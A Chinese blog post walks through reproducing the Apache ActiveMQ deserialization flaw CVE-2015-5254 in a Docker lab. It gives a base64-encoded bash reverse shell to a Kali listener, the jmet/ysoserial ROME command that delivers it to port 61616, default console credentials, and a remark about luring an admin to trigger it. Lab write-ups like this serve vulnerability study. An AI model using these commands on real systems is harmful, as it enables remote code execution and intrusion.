漏洞描述
- 编号:CVE-2015-5254
- 影响版本:Apache ActiveMQ 5.13.0之前5.x版本
- CVE地址:CVE-2015-5254
- 漏洞原理:该漏洞源于程序没有限制可在代理中序列化的对象。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码
复现
环境
windows,docker,nc:kali(192.168.242.130),java8
步骤
启动环境
docker-compose up -d
docker ps
监听了61616和8161端口,其中61616是工作端口,消息就在这个端口进行传递;8161是web管理页面的端口,访问127.0.0.1:8186即可访问,不过这个漏洞理论上不需要web的
可以通过管理页面来看版本默认账号密码为admin:adminhttp://127.0.0.1:8161/api/jolokia/,或者使用云悉指纹识别,我这里是本地,云悉是不可以识别本地的
漏洞利用
1、构造可以执行命令的序列化对象
使用jmet进行漏洞利用,下载完在同目录下创建一个external文件夹(否则可能会报错说文件夹不存在)
2、使用Online - Reverse Shell Generator生成一个反弹shell的命令作为一个消息发送给61616端口
sh -i >& /dev/tcp/192.168.242.130/9001 0>&1进行base64编码c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4yNDIuMTMwLzkwMDEgMD4mMQ==
因此这条消息就是bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4yNDIuMTMwLzkwMDEgMD4mMQ==}|{base64,-d}|{bash,-i}"
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4yNDIuMTMwLzkwMDEgMD4mMQ==}|{base64,-d}|{bash,-i}" -Yp ROME 127.0.0.1 61616
-Q:列队消息名、-I:选择装载的JMS客户端、-s:选择ysoserial payload、-Y:执行具体命令、-Yp:指定payload类型,后面跟ActiveMQ所在机器的ip以及工作端口
因此这条命令就是使用ROME payload类型把执行的命令进行序列化后作为名为event的消息发送给ActiveMQ
3、访问web管理页面,读取消息,触发漏洞
点击查看这条消息即可触发命令执行
4、kali中使用nc -lvnp 9001即可连接
修复
实际中可能无法获取管理员权限来触发该消息,因此需要诱导管理员点击某个链接来触发
可以通过打补丁或者升级到新版本即可
标签:CVE,5254,61616,端口,漏洞,序列化,ActiveMQ,bash From: https://blog.csdn.net/m0_74168970/article/details/142178619